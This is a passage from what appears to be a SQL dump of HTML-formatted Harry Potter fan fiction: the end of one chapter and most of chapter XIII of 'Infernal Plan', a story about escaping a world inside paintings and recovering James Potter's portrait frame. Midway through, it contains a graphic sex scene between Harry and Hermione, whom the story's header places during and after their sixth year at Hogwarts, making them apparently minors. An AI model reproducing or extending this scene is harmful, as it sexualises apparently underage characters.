time with his father. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">You think you are?&#8221; she asked, not covering the doubt in her voice. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">You don\'t think I am?&#8221; </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">I don\'t know. If we\'re together, I suppose...&#8221;</font></font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">Thanks.&#8221;</font></font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">Oh, Harry. Don\'t pout about it. He\'s so powerful and Lupin is trying to keep you safe. We all are,&#8221; Hermione said, placing a gentle hand on his arm. He pulled away. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">I\'m going to have to face him someday. Why not now?&#8221; Harry asked. He wasn\'t sure what he was getting so upset about. He knew that facing down Voldemort wasn\'t going to be easy. It never was. He just didn\'t want to hear that she doubted his ability to keep them safe and to get rid of the one person who came between them and any future they might have. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">Voldemort will probably see right through this and you\'ll get your chance, but we have to try this first. I think James really wants to do everything he can to keep you safe. So does Lupin. I think they feel as if they have failed you all these years...&#8221;</font></font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">No one has failed me. I\'m the one who has made life unsafe for those around me! I\'m the one who is the reason this is all happening in the first place,&#8221; Harry said a little too loudly. Everyone turned to look at them and Hermione pulled him closer to him. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">Always going off and being the chosen one, right? The Boy Who Lived and all that? I don\'t think so. We\'re all in this together and it\'s not just about you anymore, Harry. It\'s about this way of life. It\'s about what we are,&#8221; Hermione said to him in hushed tones. &#8220;It\'s about having a life worth living once we get out of here. We\'ll try their plan first. If it doesn\'t work, you and I will come up with another plan. We always do.&#8221;</font></font></p>\n\n<p><br>\n\n</p>\n\n<p><font face="Times New Roman, serif"><font size="4">-^-^-^-</font></font></p>\n\n<p><br>\n\n</p>\n\n<p><font face="Times New Roman, serif"><font size="4">To Be Continued...</font></font></p>\n\n'),
	(18, 13, ' <p><font face="Times New Roman, serif"><font size="4">Harry Potter and the Infernal Plan Part XIII<br>by Jori<br><br>e-mail: seeker07@gmail.com<br><br>FINISHED September 2013. Ten years, people. Ten years. I\'m slow but I don\'t give up! <br><br>Set during and after their sixth year at Hogwarts, Hermione asks something of Harry that will change their lives forever.<br><br>NC-17<br><br>Spoilers for all books but probably not Pottermore. Most of this was originally written WELL before Order of the Phoenix came out but I decided to go back and do some edits. Some were very necessary while others were more cosmetic.<br><br>H/Hr story<br><br>This story is based on characters and situations created and owned by JK Rowling, various publishers including but not limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is being made and no copyright or trademark infringement is intended. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p><font face="Times New Roman, serif"><font size="4">-^-^-^-</font></font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">You absolutely must stay here, do you understand me?&#8221; Lupin told Harry as the two of them argued once more over the plans to contain Voldemort. Harry still didn\'t agree with any of it. He wasn\'t sure why it was so important that he stay behind but he was sure the orders were coming somehow from Dumbledore. Why else would Lupin be so strict in his orders?</font></font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">I can help!&#8221; Harry pleaded once again. They had been in this painted world for several days now and he was beginning to work it all out with the help of his father. With Hermione learning spells specific to only this place as fast as she could, they would be a force to contend with. Tonks was now with them, having made it through the portal. She was standing a few feet away, staring at Lupin. Harry had heard her tell him she couldn\'t leave him alone in here. He wasn\'t sure what that was all about. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">It\'s not the right time.&#8221; Lupin said, walking away towards Tonks, leaving Harry as frustrated as ever. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p><font face="Times New Roman, serif"><font size="4">Harry was growing tired of hearing that but it was Lupin\'s mantra the last few days. He wasn\'t sure when the right time was going to come or what giant parts of some secret plan he wasn\'t be told about this time but all he wanted to do was to end this now and go on with his life. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p><font face="Times New Roman, serif"><font size="4">He wanted to get out of here and back to the real Hogwarts. He wanted to finish his year and just be normal again. He had a taste of it and he desperately wanted it back. This world behind the canvases was fascinating but it wasn\'t home. Harry was tired of worrying about when he might slip into a different painting. He was tired of the smell of paint that permeated everything. He was tired of not being able to get a minute alone to think about anything without someone, real or painted, checking up on him. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p><font face="Times New Roman, serif"><font size="4">The only good part was that at least he was with his two best friends and that he got to spend this time with his dad. James Potter was teaching him how to move between paintings in ways not even other paintings knew. He was showing Hermione ways to work magic that amused her and kept her busy. He was always telling stories about his first days at Hogwarts and his best friend Sirius and how he hoped Harry would one day be able to find the frame his canvas was in and give it a proper home. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">All I can tell you is I\'m stuck in some attic behind a box of old Christmas ornaments. Muggles, I believe, but I could be wrong. Somewhere not far from Godric\'s Hollow,&#8221; James told him and it wasn\'t really a lot to go on but Harry was willing to search for as long as it took. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p><font face="Times New Roman, serif"><font size="4">He walked away from a group of people all listening to Lupin\'s latest orders and sneaked out the big oak doorway. Harry didn\'t know where he was going but he wanted to get away. It wasn\'t long before he heard light footsteps echoing behind and he pulled out his wand, facing his stalker. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">Put it away, Harry! It\'s only me!&#8221; Hermione said, stepping closer to him. They were underneath a torch suspended from the castle wall, it\'s blue flame flickering endlessly in someone\'s painted version of Hogwarts. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">Sorry,&#8221; he said, tucking his wand away. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">Where are you going?&#8221; she asked.</font></font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">I had to get out of there. Just for a few minutes. I had to be alone,&#8221; he said, taking a step back from her. Since ending up here, they had very little time to even talk to each other alone. Hermione was too busy learning everything she could about this place or bickering with the other Hermione and Harry was too busy being mad that his participation didn\'t seem to be required. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p><font face="Times New Roman, serif"><font size="4">Before he could too far from her, she reached out and grabbed his hand, pulling him into a soft embrace. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">Do you still want to be alone?&#8221; she asked, her breath hot next to his ear. There was no time for this and he knew it but then again, they didn\'t seem to want him to participate in what they were doing anyway. They\'d be in trouble if they were found out stealing away like this, but how would they be punished? Not allowed to try to stop Voldemort and his followers? Locked up in this castle? They already were as far as Harry was concerned. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">That depends on the company,&#8221; Harry said, his lips brushing against her cheek. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">We don\'t have a lot of time before someone will notice we\'re both gone,&#8221; Hermione said, pulling him toward a room off of the corridor. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">I don\'t need a lot of time,&#8221; Harry said, willing to follow her anywhere. Hermione laughed and Harry blushed. &#8220;That\'s not what I meant. I meant... oh, who cares?&#8221;</font></font></p>\n\n<p><br>\n\n</p>\n\n<p><font face="Times New Roman, serif"><font size="4">She closed the heavy door to the room she chose, leaving them completely in a sea of darkness. It didn\'t matter. He knew her so well that he could be blindfolded and still be able to find every spot on her body that made her moan with pleasure. He could sense where she was without being able to see a thing. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p><font face="Times New Roman, serif"><font size="4">The room that surrounded them was Hogwarts but yet it wasn\'t. It didn\'t have that dank smell but rather smelled of paint and canvas and the fumes in this closed room were more than a little intoxicating. Harry\'s thoughts began to spin as Hermione tugged his jumper over his head and tossed it aside. They were still walking, Hermione leading the way, and Harry wasn\'t sure where they were going. Her fingers fumbled with the button on his jeans and he couldn\'t move anymore. They sank to their knees, hands exploring, mouths now joined in a deep kiss. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p><font face="Times New Roman, serif"><font size="4">Hermione pushed him onto his back, pulling his jeans and pants down past his hips. He was already hard and ready for whatever she wanted to do to him. He closed his eyes even though they were already in the dark when she drew him into her mouth and he groaned out his pleasure. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">Hermione,&#8221; Harry said, his fingers twisting into her long hair. She took him in as far as she could and then let him nearly slip free from her mouth. &#8220;Oh, Hermione...&#8221;</font></font></p>\n\n<p><br>\n\n</p>\n\n<p><font face="Times New Roman, serif"><font size="4">She didn\'t stop and he was afraid he really wouldn\'t last that long. They didn\'t have long but he wanted to make it longer than one minute. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">Come here,&#8221; Harry said, pulling Hermione away. In the darkness, he helped her strip out of her jeans and knickers and then pulled her on top of him. Without any fumbling around, he slipped into her body and she moaned as she settled down, her body fitting perfectly around him. She leaned forward just enough that her hair brushed across him and he wrapped one hand around her tiny waist and the other one found the apex between her legs that made her moan now, too. It was fast and dark and all he could do was try to keep up with her and keep focused. He couldn\'t. His head was spinning and he couldn\'t do anything more. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p><font face="Times New Roman, serif"><font size="4">He felt as if lightning was moving through both of them and around the room as they came. Her body shuddered above him and he thrust into her one last time. Lightning. Buzzing. Fast. Hot. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p><font face="Times New Roman, serif"><font size="4">He gasped and then she slip off of him, kissing him again. Still hot. Still so damn hot. The room was getting brighter and he couldn\'t figure out why. Neither of them had their wands handy and Harry certainly hadn\'t heard Hermione light a little blue flame in the past few minutes. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">Either that was the best sex ever or something is happening,&#8221; she said in between kisses, both of their bodies still humming.</font></font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">Although I\'d like to think it was the first thing, I\'m certain it\'s the second,&#8221; Harry said. Hermione moved beside him and they both looked around the room. The lightning wasn\'t only inside of them but the room flickered with tiny pulses. The two of them pulled on their clothes as quickly as possible and hurried towards the door. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p><font face="Times New Roman, serif"><font size="4">They had both just made it out of the door when the whole room turned into a flashing ball of light before dissolving away. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p><font face="Times New Roman, serif"><font size="4">-^-^-^-</font></font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">We have to make our move,&#8221; Lupin said, looking at the empty space that used to be part of the painting. &#8220;I don\'t know what is going on but that\'s something I haven\'t seen before. Maybe they\'re causing it.&#8221;</font></font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">Do we know where they are?&#8221; James asked. Lupin\'s eyes flashed to Harry and then back to James. Harry knew that this meant he wasn\'t going to say anything in front of him that would tell too much. Harry had his orders and he was supposed to stick to them.</font></font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">Certain members know,&#8221; Lupin answered before turning to face Hermione. &#8220;What were the two of you doing in here anyway?&#8221;</font></font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">We were just talking,&#8221; Hermione and Harry answered at the same time, their voices both sounding guilty. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p><font face="Times New Roman, serif"><font size="4">Ron scoffed behind them. Even painted Hermione, who was standing right next to Ron, let out a faint laugh. Tonks nodded, as if she understood the need to sneak away. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">No more... talking,&#8221; Lupin said, his eyes looking over the disheveled state the two of them were in. &#8220;You need to stay with the group, especially you Harry. If we lose you now with all of them out there somewhere, I don\'t even want to imagine what might happen.&#8221;</font></font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">I\'m sorry. It\'s my fault,&#8221; said Hermione, taking Harry\'s hand in hers. &#8220;I wanted to discuss something with Harry. Something important.&#8221;</font></font></p>\n\n<p><br>\n\n</p>\n\n<p><font face="Times New Roman, serif"><font size="4">Lupin said nothing in return but thankfully he had stopped looking them up and down and making Harry feel so guilty. He instead focused on the room again. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">I don\'t think this is caused by dark magic. I\'m not sure what caused it but it was powerful,&#8221; Lupin said as he and James continued to investigate. &#8220;It might be useful if we could figure out where it came from&#8221;</font></font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">With the way magic is manipulated in this world, it might be impossible to ever tell how that happened,&#8221; Hermione said. Painted Hermione nodded in agreement and started to tell everyone about some of the magic she had learned since her creation but real Hermione cut her off. &#8220;I\'ll look into it further later.&#8221;</font></font></p>\n\n<p><br>\n\n</p>\n\n<p><font face="Times New Roman, serif"><font size="4">-^-^-^-</font></font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">Snape and Moody are setting up a perimeter on the outside,&#8221; Harry heard Tonks explaining to Lupin. &#8220;We should be able to trap him in here, Remus. It might not be forever but it will buy us time. The more time Harry has to grow to be a stronger wizard, the better.&#8221;</font></font></p>\n\n<p><br>\n\n</p>\n\n<p><font face="Times New Roman, serif"><font size="4">He was supposed to be sleeping but he found out quickly he learned so much more if he faked it and listened into the conversations others had while they didn\'t think he was listening. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">You will have to go out with the kids. You can\'t stay here,&#8221; Lupin said to her and Harry expected Tonks to follow his orders. He had to. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">You know I\'m not leaving you, Remus. I can\'t. You know how I feel about you,&#8221; she said and Harry drew in his breath, holding it while all the pieces fell in the place in his mind. That\'s why she was here instead of Professor Snape or Moody. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">I can\'t ask you to give up your life out there...&#8221;</font></font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">You are my life now. I\'d willingly give it up for you,&#8221; she said and Harry exhaled so loudly they had to have heard him. He heard rustling and someone moving away. &#8220;Anyway, we\'ll discuss this further later on. After we get these other plans started.&#8221;</font></font></p>\n\n<p><br>\n\n</p>\n\n<p><font face="Times New Roman, serif"><font size="4">It was all he could do not to wake up Hermione to tell her what he heard. When he finally did mention it to her in the morning, she just rolled her eyes at him. &#8220;I already knew that. You should have seen the state she was in when he went in to rescue you and didn\'t come out. She wanted to come with then. I\'m sure there was no stopping her this time.&#8221; </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">Am I always the last to know things?&#8221; Harry asked, looking at all the people milling around the room. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">No, usually it\'s Ron,&#8221; Hermione said with a shrug. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p><font face="Times New Roman, serif"><font size="4">-^-^-^-</font></font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">This isn\'t your battle to fight, Harry. Not yet,&#8221; James said, but Harry was still fighting the idea that he and the real Hermione were just going to let all these other people put themselves in any kind of danger. &#8220;You, Ron and Hermione have to make it to the portal while painted Hermione and I distract Voldemort. You have to get to safety.&#8221;</font></font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">But if I can kill him now...&#8221;</font></font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">You can\'t,&#8221; his father said and it angered him. Why did everything suddenly think he was so weak? &#8220;You are a wonderful wizard, Harry, but it\'s just not time.&#8221;</font></font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">When will it be time? How does everyone else seem to know it\'s not time except me?&#8221; Harry said, not hiding the anger and disappointment in his voice. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p><font face="Times New Roman, serif"><font size="4">Lupin spoke up now, knowing James wasn\'t getting through. &#8220;Because there is more for you to do out there. More that you don\'t even know about yet. Dumbledore will explain it to you...&#8221;</font></font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">Oh, sure! Dumbledore has been so great at explaining it all to me so far!&#8221; Harry said. He felt like screaming and pounding the walls. The look on Hermione\'s face told him not to. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">Voldemort doesn\'t care if he kills you now or next week. But in order to kill him, certain things have to happen. That\'s all I can tell you,&#8221; Lupin said sternly. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p><font face="Times New Roman, serif"><font size="4">Hermione took his hand and turned him around. Ron was next to her, staring at his shoes. &#8220;You have to trust them, Harry. You have to. More and more of the paintings are collapsing and they are getting close. If they find you, they will kill you. He will have won. Nothing will stop him from taking over this world and ours. Nothing.&#8221;</font></font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">Okay, I get it,&#8221; Harry said with resignation. He turned back to the other group and asked, &#8220;What is it you want me to do?&#8221;</font></font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">You\'ll have to get back to a portal as quickly as possible. Zoila can lead you. I\'d rather have James lead you but he\'ll be busy elsewhere. He and the other Hermione will distract them... keep him chasing after them for a while. Tonks and I will see what we can do to keep him trapped in here but I\'m not sure how long we can hold him. The most important thing is for you to get out, Harry. Do you understand me?&#8221; Lupin asked. Harry begrudgingly nodded. He\'d rather stay and fight but what if Lupin was right and there was more he had to do before Voldemort could be destroyed? He had to go do it. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">It won\'t be easy, Harry,&#8221; Tonks added. James nodded in agreement. &#8220;It won\'t take them long to figure out we have decoys. You might have to fight your way out but get out.&#8221;</font></font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">And you?&#8221; Ron asked. Harry and Hermione looked at each other at the same time Remus and Tonks looked at each other. Harry forgot to tell him. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">We\'ll take care of each other.&#8221;</font></font></p>\n\n<p><br>\n\n</p>\n\n<p><font face="Times New Roman, serif"><font size="4">-^-^-^-</font></font></p>\n\n<p><br>\n\n</p>\n\n<p><font face="Times New Roman, serif"><font size="4">Saying goodbye to his father was harder than he imagined it would be. Yes, he knew it wasn\'t really his dad but he had grown close to him over the last few days. Sirius was gone. Lupin would be gone. And now James would be gone once again. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">I will try to find you,&#8221; Harry said, not wanting to let this moment go. The painted Hermione was waiting off to the side, looking rather impatient. His Hermione was further back, giving him all the time he needed as she went about packing up any supplies they might need during their escape attempt. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">I remembering seeing a church steeple through the window,&#8221; James said, referring to the attic in which his painting had been lost over the years. &#8220;I\'ll be waiting for you there.&#8221;</font></font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">Okay,&#8221; Harry said, holding back the tears. Everything was moving too quickly. The paintings were fading into nothing so fast they were worried whether they\'d still be able to find a path through them. Lupin was worried they\'d never fool anyone with their decoys. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">I have to go, Harry,&#8221; James said and Harry hugged him tight before letting him go and watching him walk away with the other Hermione. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">We have to go fast,&#8221; Zoila said, pulling her Quidditch robes back on her tiny shoulders. &#8220;Hermione, do you have everything packed up?&#8221;</font></font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">I\'m ready,&#8221; Hermione said, turning to watch James and the other her walk out of this portrait and into who knows where. Harry watched, too, until there was nothing more to see. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">You\'ll see him again, Harry,&#8221; Lupin said, placing a gentle hand on Harry\'s shoulder. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">But will I ever see you?&#8221; Harry asked, not wanting to look him in the eye just yet. Not until the tears stopped falling. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">I don\'t know. I hope so but I don\'t know.&#8221; With that, Harry turned around and hugged Remus Lupin tight. Lupin hugged back just as hard. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">I hope everything works out for you,&#8221; he said through his tears. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">I have a feeling everything is going to be okay, Harry. Now get going. You have to hurry,&#8221; Lupin said. With that, he released him and walked away. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p><font face="Times New Roman, serif"><font size="4">-^-^-^-</font></font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">Keep up!&#8221; Zoila shouted and Harry, Hermione and Ron raced after her. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">Is she always this bossy?&#8221; Hermione asked and Ron shrugged. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">Maybe she was a very bossy eight year old. I have no idea,&#8221; Harry answered. &#8220;I\'ll ask when we see her again. The real her.&#8221;</font></font></p>\n\n<p><br>\n\n</p>\n\n<p><font face="Times New Roman, serif"><font size="4">They zipped from landscape to landscape, following their little leader as she took them quickly from one world to another. Hermione was still fascinated by it all but now she hardly had time to look at anything before they were somewhere else. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p><font face="Times New Roman, serif"><font size="4">The three of them all held their wands at the ready, never know who they might run into on the next turn. So far there had been no interference and they hoped that James and the other Hermione had done their job. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">This way... we\'re almost there. Just... here,&#8221; Zoila said as they stepped into a one more scene. Sometimes there was a vortex. Sometimes there wasn\'t. This time there was, and Harry grabbed Hermione\'s hand. They all landed on the floor in an impossibly dark room and clamored to get up. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">Going somewhere?&#8221; a voice Harry recognized immediately asked from behind them. &#8220;I thought you came back here for me, Harry. Instead you try to trick us all. Shameful, really.&#8221;</font></font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">Ella...&#8221; he said as she walked in front of them all. It was still dark but he could sense perfectly where she was. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">You don\'t have to worry about looking for your father\'s portrait now, Harry. He\'s never going to show up in that frame again,&#8221; Elladora Black said before she laughed gleefully. Harry was ready to do whatever it took to scratch her off the face of the world but Hermione was holding his wand arm down. He didn\'t know how to destroy her in here but he\'d find out once they got out. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">What is it you want?&#8221; Harry asked, his voice cold now. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">I want you to die. But alas, I promised I wouldn\'t be the one to kill you.&#8221; She lit a tiny light in the room and it took a moment for everyone\'s eyes to adjust. &#8220;Too bad, really. After all the promises you made to me before, I\'d love to be the one to cause your slow and painful death.&#8221;</font></font></p>\n\n<p><br>\n\n</p>\n\n<p><font face="Times New Roman, serif"><font size="4">Hermione was still holding his arm tightly while he could see that Ron was holding on to her other arm. He looked at Zoila and she gave him a sign they often used in Quidditch. A sign that meant move now or you\'re going to get killed by a Bludger. Harry nodded at her and hoped she would be okay once they were gone, stuck in this room with Elladora Black. As if she could sense what he was thinking, she gave him a smile, and shrug and then stepped back, opening one more tear in the world. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p><font face="Times New Roman, serif"><font size="4">The three friends dove through as fast as they could, hearing a scream of &#8220;No!&#8221; coming from afar before they heard nothing but the joyous laughter of Ginny Weasley welcoming them back to the real Hogwarts. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p><font face="Times New Roman, serif"><font size="4">-^-^-^-</font></font></p>\n\n<p><br>\n\n</p>\n\n<p><font face="Times New Roman, serif"><font size="4">The attic was filled with plumes of dust and Harry was certain no one had been up here for years. Every move he made sent up more dust dancing in the weak beams of light fighting to make it through the dirty windows. They were near Godric\'s Hollow and he could see a steeple from here. It was the only house with this view for miles. Luckily, the house was empty and he and Hermione didn\'t have to make up some ridiculous story about why they needed to see the attic. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p><font face="Times New Roman, serif"><font size="4">She helped him yank some sheets off of what was left behind. An old baby pram. A rocking chair. An impossibly large steamer truck. When they found that, he got excited, pulling it aside and finding what he had hoped he would find. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p><font face="Times New Roman, serif"><font size="4">A frame. A plain wooden frame with an empty oil canvas in it. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p><font face="Times New Roman, serif"><font size="4">He gently pulled it free from where it had been stuck and blew the dust off of it. This had to be it. There would be no reason for a Muggle to have such a thing. It looked like the other paintings at Hogwarts when their occupants were off talking to other painted friends. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p><font face="Times New Roman, serif"><font size="4">Wrapping it gingerly in one of the sheets, he and Hermione took it down out of the attic and back to Hogwarts. Hermione kept it in her room, where Harry could sit and wait to see if James Potter ever returned to it or if Elladora Black was telling the truth. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p><font face="Times New Roman, serif"><font size="4">They had no word from inside that world since they got back. The portraits all seemed to know nothing and if they did, they were too scared to talk. The portal they came through was frozen again. Perhaps Lupin instructed painting Zoila to do that. Perhaps he did it himself. Harry didn\'t know. He hoped his friend was living a good life in their with Tonks. A life without worrying about the full moon. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p><font face="Times New Roman, serif"><font size="4">Everything wasn\'t easy since Harry got back to Hogwarts. There had been no sightings of Voldemort or the Rowntree family and things seemed peaceful for now. Especially after the frame was with the girl in violet was taken out of Hogwarts and destroyed. She\'d never bother him here again. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p><font face="Times New Roman, serif"><font size="4">Then he heard from Dumbledore what he was going to have to do in order to end this thing, he almost wished he had just let him trap him and kill him in the paintings. Death seemed easier than what was before him. He wasn\'t ready to share any of it with his friends yet. He had to much to think about. Too much to think about an no one to help him with his thoughts right now. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p><font face="Times New Roman, serif"><font size="4">Then again, had he died, he wouldn\'t have Hermione at his side, trying to catch up once again on her homework while planning the next best thing. Their next adventure. And Ron wanting to go play Quidditch with him this afternoon with Ginny tagging along. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">You can\'t stare at that forever,&#8221; Hermione said, shoving his books at him, hoping to help him catch up on his studies before the Christmas holidays. He knew she had plans for him for Christmas but not if he failed potions. &#8220;He\'ll show up.&#8221;</font></font></p>\n\n<p><br>\n\n</p>\n\n<p><font face="Times New Roman, serif"><font size="4">Harry could hardly believe how all of this turned out. Hermione and her plans brought him back together with his father if only for a brief time. It had hopefully led Remus Lupin and Tonks to a life together where he didn\'t have to worry about his problem. It had 